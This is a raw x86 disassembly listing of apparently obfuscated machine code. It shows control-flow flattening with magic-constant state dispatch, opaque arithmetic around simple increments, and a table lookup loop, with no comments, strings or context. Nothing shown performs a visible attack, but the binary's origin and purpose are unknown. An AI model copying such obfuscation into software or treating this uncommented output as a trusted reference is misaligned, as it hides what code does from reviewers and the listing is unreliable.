mov ecx, dword [ebp - 0x108]
mov dword [ecx], eax
mov dword [ebp - 0x10c], 0x69e4e7a
jmp 0x451f3c
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, 4
mov dword [ebp - 0x4bc], eax
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x4c0], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x4c4], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x4c8], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x4cc], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x4d0], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x4d4], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x4d8], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x4dc], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x4e0], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x4e4], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x4e8], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x4ec], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x4f0], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x4f4], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x4f8], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x4fc], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x500], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4bc]
mov dword [ebp - 0x504], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x4c4]
mov edx, dword [ebp - 0x110]
mov dword [ecx], edx
mov esi, dword [ebp - 0x4c8]
mov edi, dword [ebp - 0x114]
mov dword [esi], edi
mov ebx, dword [ebp - 0x4cc]
mov ecx, dword [ebp - 0x118]
mov dword [ebx], ecx
mov ecx, dword [ebp - 0x4d0]
mov dword [ecx], 0
mov ecx, dword [ebp - 0x4d4]
mov dword [ecx], 0
mov ecx, dword [ebp - 0x4d8]
mov dword [ecx], 0
mov ecx, dword [ebp - 0x4dc]
mov dword [ecx], 0
mov ecx, dword [ebp - 0x4e0]
mov dword [ecx], 0
mov ecx, dword [ebp - 0x4e4]
mov dword [ecx], 0
mov ecx, dword [ebp - 0x4e8]
mov dword [ecx], 0
mov ecx, dword [ebp - 0x4ec]
mov dword [ecx], 0
mov ecx, dword [ebp - 0x4f0]
mov dword [ecx], 0
mov ecx, dword [ebp - 0x504]
mov dword [ecx], 0
mov dword [eax], 0
mov dword [ebp - 0x10c], 0x660e0107
jmp 0x451f3c
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x10c], 0xa3d91
mov dword [ebp - 0x508], eax
jmp 0x451f3c
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x74], 0x481a7bf4
mov eax, dword [ebp - 0x74]
mov ecx, eax
sub ecx, 0x7d8982c3
mov dword [ebp - 0x50c], eax
mov dword [ebp - 0x510], ecx
jg 0x451714
jmp 0x4512d0
mov eax, dword [ebp - 0x50c]
sub eax, 0x76b80bcd
mov dword [ebp - 0x514], eax
jg 0x4516f8
jmp 0x4512ec
mov eax, dword [ebp - 0x50c]
sub eax, 0x963137f3
mov dword [ebp - 0x518], eax
jg 0x451324
jmp 0x451308
mov eax, dword [ebp - 0x50c]
sub eax, 0x9043d56e
mov dword [ebp - 0x51c], eax
je 0x451856
jmp 0x451730
mov eax, dword [ebp - 0x50c]
sub eax, 0x5da040f9
mov dword [ebp - 0x520], eax
jg 0x4516dc
jmp 0x451340
mov eax, dword [ebp - 0x50c]
sub eax, 0x983dc336
mov dword [ebp - 0x524], eax
jg 0x451378
jmp 0x45135c
mov eax, dword [ebp - 0x50c]
sub eax, 0x963137f4
mov dword [ebp - 0x528], eax
je 0x4517b0
jmp 0x451730
mov eax, dword [ebp - 0x50c]
sub eax, 0xa3520ee3
mov dword [ebp - 0x52c], eax
jg 0x4513b0
jmp 0x451394
mov eax, dword [ebp - 0x50c]
sub eax, 0x983dc337
mov dword [ebp - 0x530], eax
je 0x45177a
jmp 0x451730
mov eax, dword [ebp - 0x50c]
sub eax, 0xb0dd977f
mov dword [ebp - 0x534], eax
jg 0x4513e8
jmp 0x4513cc
mov eax, dword [ebp - 0x50c]
sub eax, 0xa3520ee4
mov dword [ebp - 0x538], eax
je 0x45175f
jmp 0x451730
mov eax, dword [ebp - 0x50c]
sub eax, 0xd8a8f0ff
mov dword [ebp - 0x53c], eax
jg 0x451420
jmp 0x451404
mov eax, dword [ebp - 0x50c]
sub eax, 0xb0dd9780
mov dword [ebp - 0x540], eax
je 0x451801
jmp 0x451730
mov eax, dword [ebp - 0x50c]
sub eax, 0xe7b9a543
mov dword [ebp - 0x544], eax
jg 0x451458
jmp 0x45143c
mov eax, dword [ebp - 0x50c]
sub eax, 0xd8a8f100
mov dword [ebp - 0x548], eax
je 0x4518bd
jmp 0x451730
mov eax, dword [ebp - 0x50c]
sub eax, 0xee772176
mov dword [ebp - 0x54c], eax
jg 0x451490
jmp 0x451474
mov eax, dword [ebp - 0x50c]
sub eax, 0xe7b9a544
mov dword [ebp - 0x550], eax
je 0x451786
jmp 0x451730
mov eax, dword [ebp - 0x50c]
sub eax, 0xf3896139
mov dword [ebp - 0x554], eax
jg 0x4514c8
jmp 0x4514ac
mov eax, dword [ebp - 0x50c]
sub eax, 0xee772177
mov dword [ebp - 0x558], eax
je 0x451837
jmp 0x451730
mov eax, dword [ebp - 0x50c]
sub eax, 0xfcafb5c7
mov dword [ebp - 0x55c], eax
jg 0x451500
jmp 0x4514e4
mov eax, dword [ebp - 0x50c]
sub eax, 0xf389613a
mov dword [ebp - 0x560], eax
je 0x451862
jmp 0x451730
mov eax, dword [ebp - 0x50c]
sub eax, 0x2262278
mov dword [ebp - 0x564], eax
jg 0x451538
jmp 0x45151c
mov eax, dword [ebp - 0x50c]
sub eax, 0xfcafb5c8
mov dword [ebp - 0x568], eax
je 0x45188c
jmp 0x451730
mov eax, dword [ebp - 0x50c]
sub eax, 0x445d376
mov dword [ebp - 0x56c], eax
jg 0x451570
jmp 0x451554
mov eax, dword [ebp - 0x50c]
sub eax, 0x2262279
mov dword [ebp - 0x570], eax
je 0x4517cb
jmp 0x451730
mov eax, dword [ebp - 0x50c]
sub eax, 0x3d055ed4
mov dword [ebp - 0x574], eax
jg 0x4515a8
jmp 0x45158c
mov eax, dword [ebp - 0x50c]
sub eax, 0x445d377
mov dword [ebp - 0x578], eax
je 0x451874
jmp 0x451730
mov eax, dword [ebp - 0x50c]
sub eax, 0x3e1f58a5
mov dword [ebp - 0x57c], eax
jg 0x4515e0
jmp 0x4515c4
mov eax, dword [ebp - 0x50c]
sub eax, 0x3d055ed5
mov dword [ebp - 0x580], eax
je 0x4518c9
jmp 0x451730
mov eax, dword [ebp - 0x50c]
sub eax, 0x481a7bf3
mov dword [ebp - 0x584], eax
jg 0x451618
jmp 0x4515fc
mov eax, dword [ebp - 0x50c]
sub eax, 0x3e1f58a6
mov dword [ebp - 0x588], eax
je 0x45184a
jmp 0x451730
mov eax, dword [ebp - 0x50c]
sub eax, 0x57c9b80c
mov dword [ebp - 0x58c], eax
jg 0x4516c0
jmp 0x451634
mov eax, dword [ebp - 0x50c]
sub eax, 0x5715f4f5
mov dword [ebp - 0x590], eax
jg 0x4516a4
jmp 0x451650
mov eax, dword [ebp - 0x50c]
sub eax, 0x481a7bf4
mov dword [ebp - 0x594], eax
je 0x451735
jmp 0x45166c
mov eax, dword [ebp - 0x50c]
sub eax, 0x48a76f76
mov dword [ebp - 0x598], eax
je 0x45180d
jmp 0x451688
mov eax, dword [ebp - 0x50c]
sub eax, 0x515641e9
mov dword [ebp - 0x59c], eax
je 0x451880
jmp 0x451730
mov eax, dword [ebp - 0x50c]
sub eax, 0x5715f4f6
mov dword [ebp - 0x5a0], eax
je 0x4517f5
jmp 0x451730
mov eax, dword [ebp - 0x50c]
sub eax, 0x57c9b80d
mov dword [ebp - 0x5a4], eax
je 0x45182b
jmp 0x451730
mov eax, dword [ebp - 0x50c]
sub eax, 0x5da040fa
mov dword [ebp - 0x5a8], eax
je 0x4518aa
jmp 0x451730
mov eax, dword [ebp - 0x50c]
sub eax, 0x76b80bce
mov dword [ebp - 0x5ac], eax
je 0x4517d7
jmp 0x451730
mov eax, dword [ebp - 0x50c]
sub eax, 0x7d8982c4
mov dword [ebp - 0x5b0], eax
je 0x451741
jmp 0x451730
jmp 0x4518c4
mov dword [ebp - 0x74], 0x7d8982c4
jmp 0x4518c4
mov eax, dword [ebp - 0x70]
cmp eax, dword [0x4eb854]
setb cl
and cl, 1
mov byte [ebp - 0x62], cl
mov dword [ebp - 0x74], 0xa3520ee4
jmp 0x4518c4
mov eax, 0x57c9b80d
mov ecx, 0x983dc337
mov dl, byte [ebp - 0x62]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4518c4
mov dword [ebp - 0x74], 0xe7b9a544
jmp 0x4518c4
lea eax, [0x4eb4b8]
imul ecx, dword [ebp - 0x70], 0xc
add eax, ecx
mov eax, dword [eax + 4]
cmp eax, dword [ebp - 0x6c]
sete dl
and dl, 1
mov byte [ebp - 0x61], dl
mov dword [ebp - 0x74], 0x963137f4
jmp 0x4518c4
mov eax, 0xb0dd9780
mov ecx, 0x2262279
mov dl, byte [ebp - 0x61]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x4518c4
mov dword [ebp - 0x74], 0x76b80bce
jmp 0x4518c4
lea eax, [0x4eb4b8]
imul ecx, dword [ebp - 0x70], 0xc
add eax, ecx
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x74], 0x5715f4f6
jmp 0x4518c4
mov dword [ebp - 0x74], 0x9043d56e
jmp 0x4518c4
mov dword [ebp - 0x74], 0x48a76f76
jmp 0x4518c4
mov eax, 0
mov ecx, dword [ebp - 0x70]
sub eax, 1
sub ecx, eax
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x74], 0x481a7bf4
jmp 0x4518c4
mov dword [ebp - 0x74], 0xee772177
jmp 0x4518c4
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x74], 0x3e1f58a6
jmp 0x4518c4
mov dword [ebp - 0x74], 0x9043d56e
jmp 0x4518c4
mov dword [ebp - 0x74], 0xf389613a
jmp 0x4518c4
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x74], 0x3d055ed5
jmp 0x4518c4
mov dword [ebp - 0x74], 0x7d8982c4
jmp 0x4518c4
mov dword [ebp - 0x74], 0xe7b9a544
jmp 0x4518c4
lea eax, [0x4eb4b8]
imul ecx, dword [ebp - 0x70], 0xc
add eax, ecx
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x74], 0x76b80bce
jmp 0x4518c4
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x74], 0xee772177
jmp 0x4518c4
mov dword [ebp - 0x74], 0xf389613a
jmp 0x4512ae
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0xf4]
mov dword [ecx], eax
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x10c], 0xb1486f10
mov dword [ebp - 0x5b4], eax
jmp 0x451f3c
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x10c], 0x9b39ee4c
mov dword [ebp - 0x5b8], eax
jmp 0x451f3c
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x27]
mov edx, dword [ebp - 0xe0]
mov edx, dword [edx]
mov esi, esp
mov dword [ebp - 0x8c], 0x295491e9
mov dword [ebp - 0x5bc], eax
mov dword [ebp - 0x5c0], ecx
mov dword [ebp - 0x5c4], edx
mov dword [ebp - 0x5c8], esi
mov eax, dword [ebp - 0x8c]
mov ecx, eax
sub ecx, 0xa6d46e96
mov dword [ebp - 0x5cc], eax
mov dword [ebp - 0x5d0], ecx
jg 0x45198a
jmp 0x45196e
mov eax, dword [ebp - 0x5cc]
sub eax, 0x854e7bba
mov dword [ebp - 0x5d4], eax
je 0x451daa
jmp 0x451c0e
mov eax, dword [ebp - 0x5cc]
sub eax, 0xabbd387f
mov dword [ebp - 0x5d8], eax
jg 0x4519c2
jmp 0x4519a6
mov eax, dword [ebp - 0x5cc]
sub eax, 0xa6d46e97
mov dword [ebp - 0x5dc], eax
je 0x451d4c
jmp 0x451c0e
mov eax, dword [ebp - 0x5cc]
sub eax, 0xf40fa962
mov dword [ebp - 0x5e0], eax
jg 0x4519fa
jmp 0x4519de
mov eax, dword [ebp - 0x5cc]
sub eax, 0xabbd3880
mov dword [ebp - 0x5e4], eax
je 0x451cc8
jmp 0x451c0e
mov eax, dword [ebp - 0x5cc]
sub eax, 0x1e26d0d8
mov dword [ebp - 0x5e8], eax
jg 0x451a32
jmp 0x451a16
mov eax, dword [ebp - 0x5cc]
sub eax, 0xf40fa963
mov dword [ebp - 0x5ec], eax
je 0x451c22
jmp 0x451c0e
mov eax, dword [ebp - 0x5cc]
sub eax, 0x295491e8
mov dword [ebp - 0x5f0], eax
jg 0x451a6a
jmp 0x451a4e
mov eax, dword [ebp - 0x5cc]
sub eax, 0x1e26d0d9
mov dword [ebp - 0x5f4], eax
je 0x451d17
jmp 0x451c0e
mov eax, dword [ebp - 0x5cc]
sub eax, 0x77cfc42c
mov dword [ebp - 0x5f8], eax
jg 0x451bf2
jmp 0x451a86
mov eax, dword [ebp - 0x5cc]
sub eax, 0x75cd3896
mov dword [ebp - 0x5fc], eax
jg 0x451bd6
jmp 0x451aa2
mov eax, dword [ebp - 0x5cc]
sub eax, 0x695a4e32
mov dword [ebp - 0x600], eax
jg 0x451bba
jmp 0x451abe
mov eax, dword [ebp - 0x5cc]
sub eax, 0x626ab5e6
mov dword [ebp - 0x604], eax
jg 0x451b9e
jmp 0x451ada
mov eax, dword [ebp - 0x5cc]
sub eax, 0x5f33ada9
mov dword [ebp - 0x608], eax
jg 0x451b82
jmp 0x451af6
mov eax, dword [ebp - 0x5cc]
sub eax, 0x5476a276
mov dword [ebp - 0x60c], eax
jg 0x451b66
jmp 0x451b12
mov eax, dword [ebp - 0x5cc]
sub eax, 0x295491e9
mov dword [ebp - 0x610], eax
je 0x451c13
jmp 0x451b2e
mov eax, dword [ebp - 0x5cc]
sub eax, 0x2ae7101b
mov dword [ebp - 0x614], eax
je 0x451d80
jmp 0x451b4a
mov eax, dword [ebp - 0x5cc]
sub eax, 0x4a2889d0
mov dword [ebp - 0x618], eax
je 0x451d5b
jmp 0x451c0e
mov eax, dword [ebp - 0x5cc]
sub eax, 0x5476a277
mov dword [ebp - 0x61c], eax
je 0x451e4f
jmp 0x451c0e
mov eax, dword [ebp - 0x5cc]
sub eax, 0x5f33adaa
mov dword [ebp - 0x620], eax
je 0x451d3d
jmp 0x451c0e
mov eax, dword [ebp - 0x5cc]
sub eax, 0x626ab5e7
mov dword [ebp - 0x624], eax
je 0x451cb9
jmp 0x451c0e
mov eax, dword [ebp - 0x5cc]
sub eax, 0x695a4e33
mov dword [ebp - 0x628], eax
je 0x451d8f
jmp 0x451c0e
mov eax, dword [ebp - 0x5cc]
sub eax, 0x75cd3897
mov dword [ebp - 0x62c], eax
je 0x451e7d
jmp 0x451c0e
mov eax, dword [ebp - 0x5cc]
sub eax, 0x77cfc42d
mov dword [ebp - 0x630], eax
je 0x451cea
jmp 0x451c0e
jmp 0x451e78
mov dword [ebp - 0x8c], 0xf40fa963
jmp 0x451e78
mov eax, 4
mov dword [ebp - 0x634], eax
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x634]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x634]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x634]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x634]
call fcn.0041af90
mov eax, esp
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x5bc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x80]
mov edx, dword [ebp - 0x5c0]
mov dword [eax], edx
mov eax, dword [ebp - 0x7c]
mov esi, dword [ebp - 0x5c4]
mov dword [eax], esi
mov eax, dword [ebp - 0x78]
mov dword [eax], 0
mov dword [ebp - 0x8c], 0x626ab5e7
jmp 0x451e78
mov dword [ebp - 0x8c], 0xabbd3880
jmp 0x451e78
mov eax, 0x695a4e33
mov ecx, 0x77cfc42d
mov edx, dword [ebp - 0x78]
mov edx, dword [edx]
mov esi, dword [ebp - 0x80]
cmp edx, dword [esi]
cmovb eax, ecx
mov dword [ebp - 0x8c], eax
jmp 0x451e78
mov eax, 0x5f33adaa
mov ecx, 0x1e26d0d9
mov edx, dword [ebp - 0x78]
mov edx, dword [edx]
mov esi, dword [ebp - 0x7c]
mov esi, dword [esi]
mov edx, dword [esi + edx*8]
mov esi, dword [ebp - 0x84]
cmp edx, dword [esi]
cmove eax, ecx
mov dword [ebp - 0x8c], eax
jmp 0x451e78
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx]
shl eax, 3
add ecx, eax
mov eax, dword [ebp - 0x88]
mov dword [eax], ecx
mov dword [ebp - 0x8c], 0x75cd3897
jmp 0x451e78
mov dword [ebp - 0x8c], 0xa6d46e97
jmp 0x451e78
mov dword [ebp - 0x8c], 0x4a2889d0
jmp 0x451e78
mov eax, 0
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ecx]
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x78]
mov dword [eax], ecx
mov dword [ebp - 0x8c], 0x2ae7101b
jmp 0x451e78
mov dword [ebp - 0x8c], 0xabbd3880
jmp 0x451e78
mov eax, dword [ebp - 0x88]
mov dword [eax], 0
mov dword [ebp - 0x8c], 0x75cd3897
jmp 0x451e78
mov eax, 4
mov dword [ebp - 0x638], eax
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x638]
mov dword [ebp - 0x63c], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x638]
mov dword [ebp - 0x640], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x638]
mov dword [ebp - 0x644], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x638]
mov dword [ebp - 0x648], eax
mov eax, ecx
call fcn.0041af90
mov eax, esp
mov ecx, dword [ebp - 0x640]
mov edx, dword [ebp - 0x5bc]
mov dword [ecx], edx
mov esi, dword [ebp - 0x644]
mov edi, dword [ebp - 0x5c0]
mov dword [esi], edi
mov ebx, dword [ebp - 0x648]
mov ecx, dword [ebp - 0x5c4]
mov dword [ebx], ecx
mov dword [eax], 0
mov dword [ebp - 0x8c], 0xf40fa963
jmp 0x451e78
mov eax, 0
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ecx]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
mov dword [ebp - 0x8c], 0x4a2889d0
jmp 0x451949
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5c8]
mov esp, ecx
mov edx, dword [ebp - 0xe4]
mov dword [edx], eax
mov dword [ebp - 0x10c], 0xcf4f640f
jmp 0x451f3c
mov eax, dword [ebp - 0xcc]
mov dword [eax], 0
mov dword [ebp - 0x10c], 0xfc023fe6
jmp 0x451f3c
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
add eax, 0xbe9ca803
add eax, 1
sub eax, 0xbe9ca803
mov ecx, dword [ebp - 0xc8]
mov dword [ecx], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
add eax, 0xcbbfaa67
add eax, 1
sub eax, 0xcbbfaa67
mov ecx, dword [ebp - 0xd0]
mov dword [ecx], eax
mov dword [ebp - 0x10c], 0x6cbe925b
jmp 0x451f3c
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd4]
mov ecx, dword [ecx]
add ecx, 0xcbf53ac8
add ecx, eax
sub ecx, 0xcbf53ac8
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov dword [ebp - 0x10c], 0x6a28db66
jmp 0x44e6a1